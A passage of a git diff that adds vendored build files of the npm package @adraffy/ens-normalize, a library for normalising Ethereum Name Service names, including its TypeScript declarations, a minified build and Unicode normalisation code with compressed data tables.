tokens.slice(start, end); + let cps0 = slice.flatMap(x => is_valid_or_mapped(x.type) ? x.cps : []); // strip junk tokens + let cps = nfc(cps0); + if (compare_arrays(cps, cps0)) { // bundle into an nfc token + tokens.splice(start, end - start, { + type: TY_NFC, + input: cps0, // there are 3 states: tokens0 ==(process)=> input ==(nfc)=> tokens/cps + cps, + tokens0: collapse_valid_tokens(slice), + tokens: ens_tokenize(str_from_cps(cps), {nf: false}) + }); + i = start; + } else { + i = end - 1; // skip to end of slice + } + start = -1; // reset + } else { + start = i; // remember last + } + } else if (token.type !== TY_IGNORED) { // 20221024: is this correct? + start = -1; // reset + } + } + } + return collapse_valid_tokens(tokens); +} + +function is_valid_or_mapped(type) { + return type == TY_VALID || type == TY_MAPPED; +} + +function requires_check(cps) { + return cps.some(cp => NFC_CHECK.has(cp)); +} + +function collapse_valid_tokens(tokens) { + for (let i = 0; i < tokens.length; i++) { + if (tokens[i].type == TY_VALID) { + let j = i + 1; + while (j < tokens.length && tokens[j].type == TY_VALID) j++; + tokens.splice(i, j - i, {type: TY_VALID, cps: tokens.slice(i, j).flatMap(x => x.cps)}); + } + } + return tokens; +} + +exports.ens_beautify = ens_beautify; +exports.ens_emoji = ens_emoji; +exports.ens_normalize = ens_normalize; +exports.ens_normalize_fragment = ens_normalize_fragment; +exports.ens_split = ens_split; +exports.ens_tokenize = ens_tokenize; +exports.is_combining_mark = is_combining_mark; +exports.nfc = nfc; +exports.nfd = nfd; +exports.safe_str_from_cps = safe_str_from_cps; +exports.should_escape = should_escape; diff --git a/node_modules/@adraffy/ens-normalize/dist/index.d.ts b/node_modules/@adraffy/ens-normalize/dist/index.d.ts new file mode 100755 index 000000000000..8fbf6877cd7e --- /dev/null +++ b/node_modules/@adraffy/ens-normalize/dist/index.d.ts @@ -0,0 +1,59 @@ +interface DisallowedToken { + type: 'disallowed'; + cp: number; +} +interface IgnoredToken { + type: 'ignored'; + cp: number; +} +interface ValidToken { + type: 'valid'; + cps: number[]; +} +interface MappedToken { + type: 'mapped'; + cp: number; + cps: number[]; +} +type TextToken = DisallowedToken | IgnoredToken | ValidToken | MappedToken; +interface EmojiToken { + type: 'emoji'; + input: number[]; + emoji: number[]; + cps: number[]; +} +interface NFCToken { + type: 'nfc'; + input: number[]; + cps: number[]; + tokens: TextToken[]; +} +interface StopToken { + type: 'stop'; +} +type Token = TextToken | EmojiToken | NFCToken | StopToken; + +interface Label { + input: number[]; + offset: number; + error?: Error; + tokens?: number[][]; + output?: number[]; + emoji?: boolean; + type?: string; +} + +export function ens_normalize(name: string): string; +export function ens_normalize_fragment(frag: string, decompose?: boolean): string; +export function ens_beautify(name: string): string; +export function ens_tokenize(name: string, options?: {nf?: boolean}): Token[]; +export function ens_split(name: string, preserve_emoji?: boolean): Label[]; + +export function ens_emoji(): number[][]; + +export function should_escape(cp: number): boolean; +export function is_combining_mark(cp: number): boolean; +export function safe_str_from_cps(cps: number[]): string; + +export function nfd(cps: number[]): number[]; +export function nfc(cps: number[]): number[]; diff --git a/node_modules/@adraffy/ens-normalize/dist/index.min.js b/node_modules/@adraffy/ens-normalize/dist/index.min.js new file mode 100644 index 000000000000..a6ca31b9f989 --- /dev/null +++ b/node_modules/@adraff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YWWdqrdcIl7yljwwIWdfQ/y+2QB3eR/qxYObuYyB4gTbo2in4PzarU1sO9nETkmj9/AoxDA+JM3GMqQtJR4jtduHtnoCLxd1gQUscHRB/MoRYIEsP2pDZ9KvHgtlk1iTbWWbHhohwFEYX7y51fUV2nuUmnoUcqnWIQAAgl9LTVX+Bc0QGNEhChxHR4YjfE51PUdGfsSFE6ck7BL3/hTf9jLq4G1IafINxOLKeAtO7quulYvH5YOBc+zX7CrMgWnW47/jfRsWnJjYYoE7xMfWV2HN2iyIqLI";const e=new Map([[8217,"apostrophe"],[8260,"fraction slash"],[12539,"middle dot"]]),t=4;function n(A){return function(A){let e=0;return()=>A[e++]}(function(A){let e=0;function t(){return A[e++]<<8|A[e++]}let n=t(),l=1,o=[0,1];for(let A=1;A>--C&1}const s=2**31,f=s>>>1,g=s-1;let E=0;for(let A=0;A<31;A++)E=E<<1|Q();let M=[],c=0,i=s;for(;;){let A=Math.floor(((E-c+1)*l-1)/i),e=0,t=n;for(;t-e>1;){let n=e+t>>>1;A>>1|Q(),r=r<<1^f,w=(w^f)<<1|f|1;c=r,i=1+w-r}let D=n-4;return M.map((e=>{switch(e-D){case 3:return D+65792+(A[w++]<<16|A[w++]<<8|A[w++]);case 2:return D+256+(A[w++]<<8|A[w++]);case 1:return D+A[w++];default:return e-1}}))}(function(A){let e=[];[..."ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"].forEach(((A,t)=>e[A.charCodeAt(0)]=t));let t=A.length,n=new Uint8Array(6*t>>3);for(let l=0,o=0,r=0,w=0;l=8&&(n[o++]=w>>(r-=8));return n}(A)))}function l(A){return 1&A?~A>>1:A>>1}function o(A,e){let t=Array(A);for(let n=0,o=0;n{let e=r(A);if(e.length)return e}))}function C(A){let e=[];for(;;){let t=A();if(0==t)break;e.push(s(t,A))}for(;;){let t=A()-1;if(t<0)break;e.push(f(t,A))}return e.flat()}function B(A){let e=[];for(;;){let t=A(e.length);if(!t)break;e.push(t)}return e}function Q(A,e,t){let n=Array(A).fill().map((()=>[]));for(let l=0;ln[e].push(A)));return n}function s(A,e){let t=1+e(),n=e(),l=B(e);return Q(l.length,1+A,e).flatMap(((A,e)=>{let[o,...r]=A;return Array(l[e]).fill().map(((A,e)=>{let l=e*n;return[o+e*t,r.map((A=>A+l))]}))}))}function f(A,e){return Q(1+e(),1+A,e).map((A=>[A[0],A.slice(1)]))}function g(A){return`{${function(A){return A.toString(16).toUpperCase().padStart(2,"0")}(A)}}`}function E(A){let e=[];for(let t=0,n=A.length;t>24&255}function F(A){return 16777215&A}let G,H,O,P;function V(A){return A>=D&&A=p&&A=u&&eh&&eA.map((A=>[A,e+1<<24]))))),H=new Set(r(A)),O=new Map,P=new Map;for(let[e,t]of C(A)){if(!H.has(e)&&2==t.length){let[A,n]=t,l=P.get(A);l||(l=new Map,P.set(A,l)),l.set(n,e)}O.set(e,t.reverse())}}();let e=[],t=[],l=!1;function o(A){let t=G.get(A);t&&(l=!0,A|=t),e.push(A)}for(let n of A)for(;;){if(n<128)e.push(n);else if(V(n)){let A=n-D,e=A%R/I|0,t=A%I;o(p+(A/R|0)),o(u+e),t>0&&o(h+t)}else{let A=O.get(n);A?t.push(...A):o(n)}if(!t.length)break;n=t.pop()}if(l&&e.length>1){let A=k(e[0]);for(let t=1;t0&&l>=A)0==A?(e.push(n,...t),t.length=0,n=r):t.push(r),l=A;else{let o=S(n,r);o>=0?n=o:0==l&&0==A?(e.push(n),n=r):(t.push(r),l=A)}}return n>=0&&e.push(n,...t),e}(K(A))}const z=45,Y=46,Z=".",m=65039,x=1,b=A=>Array.from(A);function j(A,e){return A.P.has(e)||A.Q.has(e)}class X extends Array{get is_emoji(){return!0}}let T,W,v,y,q,$,_,AA,eA,tA,nA,lA;function oA(){if(T)return;let e=n(A);const t=()=>r(e),l=()=>new Set(t()),o=(A,e)=>e.forEach((e=>A.add(e)));T=new Map(C(e)),W=l(),v=t(),y=new Set(t().map((A=>v[A]))),v=new Set(v),q=l(),$=l();let Q=w(e),s=e();const f=()=>{let A=new Set;return t().forEach((e=>o(A,Q[e]))),o(A,t()),A};_=B((A=>{let t=B(e).map((A=>A+96));if(t.length){let n=A>=s;return t[0]-=32,t=M(t),n&&(t=`Restricted[${t}]`),{N:t,P:f(),Q:f(),M:!e(),R:n}}})),AA=l(),eA=new Map;let g=t().concat(b(AA)).sort(((A,e)=>A-e));g.forEach(((A,t)=>{let n=e(),l=g[t]=n?g[t-n]:{V:[],M:new Map};l.V.push(A),AA.has(A)||eA.set(A,l)}));for(let{V:A,M:e}of new Set(eA.values())){let t=[];for(let e of A){let A=_.filter((A=>j(A,e))),n=t.find((({G:e})=>A.some((A=>e.has(A)))));n||(n={G:new Set,V:[]},t.push(n)),n.V.push(e),o(n.G,A)}let n=t.flatMap((A=>b(A.G)));for(let{G:A,V:l}of t){let t=new Set(n.filter((e=>!A.has(e))));for(let A of l)e.set(A,t)}}tA=new Set;let E=new Set;const i=A=>tA.has(A)?E.add(A):tA.add(A);for(let A of _){for(let e of A.P)i(e);for(let e of A.Q)i(e)}for(let A of tA)eA.has(A)||E.has(A)||eA.set(A,x);o(tA,L(tA)),nA=function(A){let e=[],t=r(A);return function A({S:t,B:n},l,o){if(!(4&t&&o===l[l.length-1])){2&t&&(o=l[l.length-1]),1&t&&e.push(l);for(let e of n)for(let t of e.Q)A(e,[...l,t],o)}}(function e(n){return{S:A(),B:B((()=>{let n=r(A).map((A=>t[A]));if(n.length)return e(n)})),Q:n}}([]),[]),e}(e).map((A=>X.from(A))).sort(c),lA=new Map;for(let A of nA){let e=[lA];for(let t of A){let A=e.map((A=>{let e=A.get(t);return e||(e=new Map,A.set(t,e)),e}));t===m?e.push(...A):e=A}for(let t of e)t.V=A}}function rA(A){return(QA(A)?"":`${wA(CA([A]))} `)+g(A)}function wA(A){return`"${A}"‎`}function CA(A,e=1/0,t=g){let n=[];BA(A[0])&&n.push("◌"),A.length>e&&(e>>=1,A=[...A.slice(0,e),8230,...A.slice(-e)]);let l=0,o=A.length;for(let e=0;eA.slice()))}function fA(A,e){oA();let t=e?L:d;return A.split(Z).map((A=>M(IA(E(A),t,RA).flat()))).join(Z)}function gA(A){return DA(iA(A,d,RA))}function EA(A){let e=iA(A,d,(A=>A));for(let{type:A,output:t,error:n}of e){if(n)break;"Greek"!==A&&MA(t,958,926)}return DA(e)}function MA(A,e,t){let n=0;for(;;){let l=A.indexOf(e,n);if(l<0)break;A[l]=t,n=l+1}}function cA(A,e){return iA(A,d,e?A=>A.slice():RA)}function iA(A,n,l){if(!A)return[];oA();let o=0;return A.split(Z).map((A=>{let r=E(A),w={input:r,offset:o};o+=r.length+1;try{let A,o=w.tokens=IA(r,n,l),C=o.length;if(!C)throw new Error("empty label");let B=w.output=o.flat();if(function(A){for(let e=A.lastIndexOf(95);e>0;)if(95!==A[--e])throw new Error("underscore allowed only at start")}(B),!(w.emoji=C>1||o[0].is_emoji)&&B.every((A=>A<128)))!function(A){if(A.length>=4&&A[2]==z&&A[3]==z)throw new Error(`invalid label extension: "${M(A.slice(0,4))}"`)}(B),A="ASCII";else{let n=o.flatMap((A=>A.is_emoji?[]:A));if(n.length){if(v.has(B[0]))throw hA("leading combining mark");for(let A=1;Aj(A,t)));if(!A.length)throw _.some((A=>j(A,t)))?uA(e[0],t):pA(t);if(e=A,1==A.length)break}return e}(l);!function(A,e){for(let t of e)if(!j(A,t))throw uA(A,t);if(A.M){let A=L(e);for(let e=1,n=A.length;et)throw new Error(`excessive non-spacing marks: ${wA(CA(A.slice(e-1,l)))} (${l-e}/${t})`);e=l}}}(r,n),function(A,e){let t,n=[];for(let A of e){let e=eA.get(A);if(e===x)return;if(e){let n=e.M.get(A);if(t=t?t.filter((A=>n.has(A))):b(n),!t.length)return}else n.push(A)}if(t)for(let e of t)if(n.every((A=>j(e,A))))throw new Error(`whole-script confusable: ${A.N}/${e.N}`)}(r,l),A=r.N}else A="Emoji"}w.type=A}catch(A){w.error=A}return w}))}function DA(A){return A.map((({input:e,error:t,output:n})=>{if(t){let n=t.message;throw new Error(1==A.length?n:`Invalid label ${wA(CA(e,63))}: ${n}`)}return M(n)})).join(Z)}function pA(A){return new Error(`disallowed character: ${rA(A)}`)}function uA(A,e){let t=rA(e),n=_.find((A=>A.P.has(e)));return n&&(t=`${n.N} ${t}`),new Error(`illegal mixture: ${A.N} + ${t}`)}function hA(A){return new Error(`illegal placement: ${A}`)}function IA(A,e,t){let n=[],l=[];for(A=A.slice().reverse();A.length;){let o=UA(A);if(o)l.length&&(n.push(e(l)),l=[]),n.push(t(o));else{let e=A.pop();if(tA.has(e))l.push(e);else{let A=T.get(e);if(A)l.push(...A);else if(!W.has(e))throw pA(e)}}}return l.length&&n.push(e(l)),n}function RA(A){return A.filter((A=>A!=m))}function UA(A,e){let t,n=lA,l=A.length;for(;l&&(n=n.get(A[--l]),n);){let{V:o}=n;o&&(t=o,e&&e.push(...A.slice(l).reverse()),A.length=l)}return t}const NA="valid",aA="mapped",JA="ignored",kA="disallowed",FA="emoji",GA="nfc",HA="stop";function OA(A,{nf:e=!0}={}){oA();let t=E(A).reverse(),n=[],l=[];for(;t.length;){let A=UA(t,n);if(A)l.push({type:FA,emoji:A.slice(),input:n,cps:RA(A)}),n=[];else{let A=t.pop();if(A==Y)l.push({type:HA,cp:A});else if(tA.has(A))l.push({type:NA,cps:[A]});else if(W.has(A))l.push({type:JA,cp:A});else{let e=T.get(A);e?l.push({type:aA,cp:A,cps:e.slice()}):l.push({type:kA,cp:A})}}}if(e)for(let A=0,e=-1;APA(A.type)?A.cps:[])),r=d(o);c(r,o)?(l.splice(e,t-e,{type:GA,input:o,cps:r,tokens0:SA(n),tokens:OA(M(r),{nf:!1})}),A=e):A=t-1,e=-1}else e=A;else t.type!==JA&&(e=-1)}return SA(l)}function PA(A){return A==NA||A==aA}function VA(A){return A.some((A=>$.has(A)))}function SA(A){for(let e=0;eA.cps))})}return A}export{EA as ens_beautify,sA as ens_emoji,gA as ens_normalize,fA as ens_normalize_fragment,cA as ens_split,OA as ens_tokenize,BA as is_combining_mark,d as nfc,L as nfd,CA as safe_str_from_cps,QA as should_escape}; diff --git a/node_modules/@adraffy/ens-normalize/dist/index.mjs b/node_modules/@adraffy/ens-normalize/dist/index.mjs new file mode 100644 index 000000000000..a82f7a2a6b2a --- /dev/null +++ b/node_modules/@adraffy/ens-normalize/dist/index.mjs @@ -0,0 +1,1240 @@ +// created 2023-09-25T01:01:55.148Z +// compressed base64-encoded blob for include-ens data +// source: https://github.com/adraffy/ens-normalize.js/blob/main/src/make.js +// see: https://github.com/adraffy/ens-normalize.js#security +// SHA-256: 0565ed049b9cf1614bb9e11ba7d8ac6a6fb96c893253d890f7e2b2884b9ded32 +var COMPRESSED$1 = 'AEEUdwmgDS8BxQKKAP4BOgDjATAAngDUAIMAoABoAOAAagCOAEQAhABMAHIAOwA9ACsANgAmAGIAHgAuACgAJwAXAC0AGgAjAB8ALwAUACkAEgAeAAkAGwARABkAFgA5ACgALQArADcAFQApABAAHgAiABAAGgAeABMAGAUhBe8BFxREN8sF2wC5AK5HAW8ArQkDzQCuhzc3NzcBP68NEfMABQdHBuw5BV8FYAA9MzkI9r4ZBg7QyQAWA9CeOwLNCjcCjqkChuA/lm+RAsXTAoP6ASfnEQDytQFJAjWVCkeXAOsA6godAB/cwdAUE0WlBCN/AQUCQRjFD/MRBjHxDQSJbw0jBzUAswBxme+tnIcAYwabAysG8QAjAEMMmxcDqgPKQyDXCMMxA7kUQwD3NXOrAKmFIAAfBC0D3x4BJQDBGdUFAhEgVD8JnwmQJiNWYUzrg0oAGwAUAB0AFnNcACkAFgBP9h3gPfsDOWDKneY2ChglX1UDYD30ABsAFAAdABZzIGRAnwDD8wAjAEEMzRbDqgMB2sAFYwXqAtCnAsS4AwpUJKRtFHsadUz9AMMVbwLpABM1NJEX0ZkCgYMBEyMAxRVvAukAEzUBUFAtmUwSAy4DBTER33EftQHfSwB5MxJ/AjkWKQLzL8E/cwBB6QH9LQDPDtO9ASNriQC5DQANAwCK21EFI91zHwCoL9kB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Px4m24az+IHmCbXA+0faxTRE9wuGeO06DIXa6QlKJ3puIyiuAVfPr736vzo2pBirS+Vxel3TMm3JKhz9o2ZoRvaFVpIkykb0Hcm4oHFBMcNSNj7/4GJt43ogonY2Vg4nsDQIWxAcorpXACzgBqQPjYsE/VUpXpwNManEru4NwMCFPkXvMoqvoeLN3qyu/N1eWEHttMD65v19l/0kH2mR35iv/FI+yjoHJ9gPMz67af3Mq/BoWXqu3rphiWMXVkmnPSEkpGpUI2h1MThideGFEOK6YZHPwYzMBvpNC7+ZHxPb7epfefGyIB4JzO9DTNEYnDLVVHdQyvOEVefrk6Uv5kTQYVYWWdqrdcIl7yljwwIWdfQ/y+2QB3eR/qxYObuYyB4gTbo2in4PzarU1sO9nETkmj9/AoxDA+JM3GMqQtJR4jtduHtnoCLxd1gQUscHRB/MoRYIEsP2pDZ9KvHgtlk1iTbWWbHhohwFEYX7y51fUV2nuUmnoUcqnWIQAAgl9LTVX+Bc0QGNEhChxHR4YjfE51PUdGfsSFE6ck7BL3/hTf9jLq4G1IafINxOLKeAtO7quulYvH5YOBc+zX7CrMgWnW47/jfRsWnJjYYoE7xMfWV2HN2iyIqLI'; +const FENCED = new Map([[8217,"apostrophe"],[8260,"fraction slash"],[12539,"middle dot"]]); +const NSM_MAX = 4; + +function decode_arithmetic(bytes) { + let pos = 0; + function u16() { return (bytes[pos++] << 8) | bytes[pos++]; } + + // decode the frequency table + let symbol_count = u16(); + let total = 1; + let acc = [0, 1]; // first symbol has frequency 1 + for (let i = 1; i < symbol_count; i++) { + acc.push(total += u16()); + } + + // skip the sized-payload that the last 3 symbols index into + let skip = u16(); + let pos_payload = pos; + pos += skip; + + let read_width = 0; + let read_buffer = 0; + function read_bit() { + if (read_width == 0) { + // this will read beyond end of buffer + // but (undefined|0) => zero pad + read_buffer = (read_buffer << 8) | bytes[pos++]; + read_width = 8; + } + return (read_buffer >> --read_width) & 1; + } + + const N = 31; + const FULL = 2**N; + const HALF = FULL >>> 1; + const QRTR = HALF >> 1; + const MASK = FULL - 1; + + // fill register + let register = 0; + for (let i = 0; i < N; i++) register = (register << 1) | read_bit(); + + let symbols = []; + let low = 0; + let range = FULL; // treat like a float + while (true) { + let value = Math.floor((((register - low + 1) * total) - 1) / range); + let start = 0; + let end = symbol_count; + while (end - start > 1) { // binary search + let mid = (start + end) >>> 1; + if (value < acc[mid]) { + end = mid; + } else { + start = mid; + } + } + if (start == 0) break; // first symbol is end mark + symbols.push(start); + let a = low + Math.floor(range * acc[start] / total); + let b = low + Math.floor(range * acc[start+1] / total) - 1; + while (((a ^ b) & HALF) == 0) { + register = (register << 1) & MASK | read_bit(); + a = (a << 1) & MASK; + b = (b << 1) & MASK | 1; + } + while (a & ~b & QRTR) { + register = (register & HALF) | ((register << 1) & (MASK >>> 1)) | read_bit(); + a = (a << 1) ^ HALF; + b = ((b ^ HALF) << 1) | HALF | 1; + } + low = a; + range = 1 + b - a; + } + let offset = symbol_count - 4; + return symbols.map(x => { // index into payload + switch (x - offset) { + case 3: return offset + 0x10100 + ((bytes[pos_payload++] << 16) | (bytes[pos_payload++] << 8) | bytes[pos_payload++]); + case 2: return offset + 0x100 + ((bytes[pos_payload++] << 8) | bytes[pos_payload++]); + case 1: return offset + bytes[pos_payload++]; + default: return x - 1; + } + }); +} + +// returns an iterator which returns the next symbol +function read_payload(v) { + let pos = 0; + return () => v[pos++]; +} +function read_compressed_payload(s) { + return read_payload(decode_arithmetic(unsafe_atob(s))); +} + +// unsafe in the sense: +// expected well-formed Base64 w/o padding +// 20220922: added for https://github.com/adraffy/ens-normalize.js/issues/4 +function unsafe_atob(s) { + let lookup = []; + [...'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'].forEach((c, i) => lookup[c.charCodeAt(0)] = i); + let n = s.length; + let ret = new Uint8Array((6 * n) >> 3); + for (let i = 0, pos = 0, width = 0, carry = 0; i < n; i++) { + carry = (carry << 6) | lookup[s.charCodeAt(i)]; + width += 6; + if (width >= 8) { + ret[pos++] = (carry >> (width -= 8)); + } + } + return ret; +} + +// eg. [0,1,2,3...] => [0,-1,1,-2,...] +function signed(i) { + return (i & 1) ? (~i >> 1) : (i >> 1); +} + +function read_deltas(n, next) { + let v = Array(n); + for (let i = 0, x = 0; i < n; i++) v[i] = x += signed(next()); + return v; +} + +// [123][5] => [0 3] [1 1] [0 0] +function read_sorted(next, prev = 0) { + let ret = []; + while (true) { + let x = next(); + let n = next(); + if (!n) break; + prev += x; + for (let i = 0; i < n; i++) { + ret.push(prev + i); + } + prev += n + 1; + } + return ret; +} + +function read_sorted_arrays(next) { + return read_array_while(() => { + let v = read_sorted(next); + if (v.length) return v; + }); +} + +// returns map of x => ys +function read_mapped(next) { + let ret = []; + while (true) { + let w = next(); + if (w == 0) break; + ret.push(read_linear_table(w, next)); + } + while (true) { + let w = next() - 1; + if (w < 0) break; + ret.push(read_replacement_table(w, next)); + } + return ret.flat(); +} + +// read until next is falsy +// return array of read values +function read_array_while(next) { + let v = []; + while (true) { + let x = next(v.length); + if (!x) break; + v.push(x); + } + return v; +} + +// read w columns of length n +// return as n rows of length w +function read_transposed(n, w, next) { + let m = Array(n).fill().map(() => []); + for (let i = 0; i < w; i++) { + read_deltas(n, next).forEach((x, j) => m[j].push(x)); + } + return m; +} + +// returns [[x, ys], [x+dx, ys+dy], [x+2*dx, ys+2*dy], ...] +// where dx/dy = steps, n = run size, w = length of y +function read_linear_table(w, next) { + let dx = 1 + next(); + let dy = next(); + let vN = read_array_while(next); + let m = read_transposed(vN.length, 1+w, next); + return m.flatMap((v, i) => { + let [x, ...ys] = v; + return Array(vN[i]).fill().map((_, j) => { + let j_dy = j * dy; + return [x + j * dx, ys.map(y => y + j_dy)]; + }); + }); +} + +// return [[x, ys...], ...] +// where w = length of y +function read_replacement_table(w, next) { + let n = 1 + next(); + let m = read_transposed(n, 1+w, next); + return m.map(v => [v[0], v.slice(1)]); +} + + +function read_trie(next) { + let ret = []; + let sorted = read_sorted(next); + expand(decode([]), []); + return ret; // not sorted + function decode(Q) { // characters that lead into this node + let S = next(); // state: valid, save, check + let B = read_array_while(() => { // buckets leading to new nodes + let cps = read_sorted(next).map(i => sorted[i]); + if (cps.length) return decode(cps); + }); + return {S, B, Q}; + } + function expand({S, B}, cps, saved) { + if (S & 4 && saved === cps[cps.length-1]) return; + if (S & 2) saved = cps[cps.length-1]; + if (S & 1) ret.push(cps); + for (let br of B) { + for (let cp of br.Q) { + expand(br, [...cps, cp], saved); + } + } + } +} + +function hex_cp(cp) { + return cp.toString(16).toUpperCase().padStart(2, '0'); +} + +function quote_cp(cp) { + return `{${hex_cp(cp)}}`; // raffy convention: like "\u{X}" w/o the "\u" +} + +/* +export function explode_cp(s) { + return [...s].map(c => c.codePointAt(0)); +} +*/ +function explode_cp(s) { // this is about 2x faster + let cps = []; + for (let pos = 0, len = s.length; pos < len; ) { + let cp = s.codePointAt(pos); + pos += cp < 0x10000 ? 1 : 2; + cps.push(cp); + } + return cps; +} + +function str_from_cps(cps) { + const chunk = 4096; + let len = cps.length; + if (len < chunk) return String.fromCodePoint(...cps); + let buf = []; + for (let i = 0; i < len; ) { + buf.push(String.fromCodePoint(...cps.slice(i, i += chunk))); + } + return buf.join(''); +} + +function compare_arrays(a, b) { + let n = a.length; + let c = n - b.length; + for (let i = 0; c == 0 && i < n; i++) c = a[i] - b[i]; + return c; +} + +// created 2023-09-25T01:01:55.148Z +// compressed base64-encoded blob for include-nf data +// source: https://github.com/adraffy/ens-normalize.js/blob/main/src/make.js +// see: https://github.com/adraffy/ens-normalize.js#security +// SHA-256: a974b6f8541fc29d919bc85118af0a44015851fab5343f8679cb31be2bdb209e +var COMPRESSED = 'AEUDTAHBCFQATQDRADAAcgAgADQAFAAsABQAHwAOACQADQARAAoAFwAHABIACAAPAAUACwAFAAwABAAQAAMABwAEAAoABQAIAAIACgABAAQAFAALAAIACwABAAIAAQAHAAMAAwAEAAsADAAMAAwACgANAA0AAwAKAAkABAAdAAYAZwDSAdsDJgC0CkMB8xh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hxLGK2D21dkHeSGmenRT3Yqcdl0m/h3OYr8V+lXNYGf8aCCpd4bWjE4QIPj7vUKN4Nrfs7ML6Y2OyS830JCnofg/k7lpFpt4SqZc5HGg1HCOrHvOdC8bP6FGDbE/VV0mX4IakzbdS/op+Kt3G24/8QbBV7y86sGSQ/vZzU8FXs7u6jIvwchsEP2BpIhW3G8uWNwa3HmjfH/ZjhhCWvluAcF+nMf14ClKg5hGgtPLJ98ueNAkc5Hs2WZlk2QHvfreCK1CCGO6nMZVSb99VM/ajr8WHTte9JSmkXq/i/U943HEbdzW6Re/S88dKgg8pGOLlAeNiqrcLkUR3/aClFpMXcOUP3rmETcWSfMXZE3TUOi8i+fqRnTYLflVx/Vb/6GJ7eIRZUA6k3RYR3iFSK9c4iDdNwJuZL2FKz/IK5VimcNWEqdXjSoxSgmF0UPlDoUlNrPcM7ftmA8Y9gKiqKEHuWN+AZRIwtVSxye2Kf8rM3lhJ5XcBXU9n4v0Oy1RU2M+4qM8AQPVwse8ErNSob5oFPWxuqZnVzo1qB/IBxkM3EVUKFUUlO3e51259GgNcJbCmlvrdjtoTW7rChm1wyCKzpCTwozUUEOIcWLneRLgMXh+SjGSFkAllzbGS5HK7LlfCMRNRDSvbQPjcXaenNYxCvu2Qyznz6StuxVj66SgI0T8B6/sfHAJYZaZ78thjOSIFumNWLQbeZixDCCC+v0YBtkxiBB3jefHqZ/dFHU+crbj6OvS1x/JDD7vlm7zOVPwpUC01nhxZuY/63E7g'; + +// https://unicode.org/reports/tr15/ +// for reference implementation +// see: /derive/nf.js + + +// algorithmic hangul +// https://www.unicode.org/versions/Unicode15.0.0/ch03.pdf (page 144) +const S0 = 0xAC00; +const L0 = 0x1100; +const V0 = 0x1161; +const T0 = 0x11A7; +const L_COUNT = 19; +const V_COUNT = 21; +const T_COUNT = 28; +const N_COUNT = V_COUNT * T_COUNT; +const S_COUNT = L_COUNT * N_COUNT; +const S1 = S0 + S_COUNT; +const L1 = L0 + L_COUNT; +const V1 = V0 + V_COUNT; +const T1 = T0 + T_COUNT; + +function unpack_cc(packed) { + return (packed >> 24) & 0xFF; +} +function unpack_cp(packed) { + return packed & 0xFFFFFF; +} + +let SHIFTED_RANK, EXCLUSIONS, DECOMP, RECOMP; + +function init$1() { + //console.time('nf'); + let r = read_compressed_payload(COMPRESSED); + SHIFTED_RANK = new Map(read_sorted_arrays(r).flatMap((v, i) => v.map(x => [x, (i+1) << 24]))); // pre-shifted + EXCLUSIONS = new Set(read_sorted(r)); + DECOMP = new Map(); + RECOMP = new Map(); + for (let [cp, cps] of read_mapped(r)) { + if (!EXCLUSIONS.has(cp) && cps.length == 2) { + let [a, b] = cps; + let bucket = RECOMP.get(a); + if (!bucket) { + bucket = new Map(); + RECOMP.set(a, bucket); + } + bucket.set(b, cp); + } + DECOMP.set(cp, cps.reverse()); // stored reversed + } + //console.timeEnd('nf'); + // 20230905: 11ms +} + +function is_hangul(cp) { + return cp >= S0 && cp < S1; +} + +function compose_pair(a, b) { + if (a >= L0 && a < L1 && b >= V0 && b < V1) { + return S0 + (a - L0) * N_COUNT + (b - V0) * T_COUNT; + } else if (is_hangul(a) && b > T0 && b < T1 && (a - S0) % T_COUNT == 0) { + return a + (b - T0); + } else { + let recomp = RECOMP.get(a); + if (recomp) { + recomp = recomp.get(b); + if (recomp) { + return recomp; + } + } + return -1; + } +} + +function decomposed(cps) { + if (!SHIFTED_RANK) init$1(); + let ret = []; + let buf = []; + let check_order = false; + function add(cp) { + let cc = SHIFTED_RANK.get(cp); + if (cc) { + check_order = true; + cp |= cc; + } + ret.push(cp); + } + for (let cp of cps) { + while (true) { + if (cp < 0x80) { + ret.push(cp); + } else if (is_hangul(cp)) { + let s_index = cp - S0; + let l_index = s_index / N_COUNT | 0; + let v_index = (s_index % N_COUNT) / T_COUNT | 0; + let t_index = s_index % T_COUNT; + add(L0 + l_index); + add(V0 + v_index); + if (t_index > 0) add(T0 + t_index); + } else { + let mapped = DECOMP.get(cp); + if (mapped) { + buf.push(...mapped); + } else { + add(cp); + } + } + if (!buf.length) break; + cp = buf.pop(); + } + } + if (check_order && ret.length > 1) { + let prev_cc = unpack_cc(ret[0]); + for (let i = 1; i < ret.length; i++) { + let cc = unpack_cc(ret[i]); + if (cc == 0 || prev_cc <= cc) { + prev_cc = cc; + continue; + } + let j = i-1; + while (true) { + let tmp = ret[j+1]; + ret[j+1] = ret[j]; + ret[j] = tmp; + if (!j) break; + prev_cc = unpack_cc(ret[--j]); + if (prev_cc <= cc) break; + } + prev_cc = unpack_cc(ret[i]); + } + } + return ret; +} + +function composed_from_decomposed(v) { + let ret = []; + let stack = []; + let prev_cp = -1; + let prev_cc = 0; + for (let packed of v) { + let cc = unpack_cc(packed); + let cp = unpack_cp(packed); + if (prev_cp == -1) { + if (cc == 0) { + prev_cp = cp; + } else { + ret.push(cp); + } + } else if (prev_cc > 0 && prev_cc >= cc) { + if (cc == 0) { + ret.push(prev_cp, ...stack); + stack.length = 0; + prev_cp = cp; + } else { + stack.push(cp); + } + prev_cc = cc; + } else { + let composed = compose_pair(prev_cp, cp); + if (composed >= 0) { + prev_cp = composed; + } else if (prev_cc == 0 && cc == 0) { + ret.push(prev_cp); + prev_cp = cp; + } else { + stack.push(cp); + prev_cc = cc; + } + } + } + if (prev_cp >= 0) { + ret.push(prev_cp, ...stack); + } + return ret; +} + +// note: cps can be iterable +function nfd(cps) { + return decomposed(cps).map(unpack_cp); +} +function nfc(cps) { + return composed_from_decomposed(decomposed(cps)); +} + +const HYPHEN = 0x2D; +const STOP = 0x2E; +const STOP_CH = '.'; +const FE0F = 0xFE0F; +const UNIQUE_PH = 1; + +// 20230913: replace [...v] with Array_from(v) to avoid large spreads +const Array_from = x => Array.from(x); // Array.from.bind(Array); + +function group_has_cp(g, cp) { + // 20230913: keep primary and secondary distinct instead of creating valid union + return g.P.has(cp) || g.Q.has(cp); +} + +class Emoji extends Array { + get is_emoji() { return true; } // free tagging system +} + +let MAPPED, IGNORED, CM, NSM, ESCAPE, NFC_CHECK, GROUPS, WHOLE_VALID, WHOLE_MAP, VALID, EMOJI_LIST, EMOJI_ROOT; + +function init() { + if 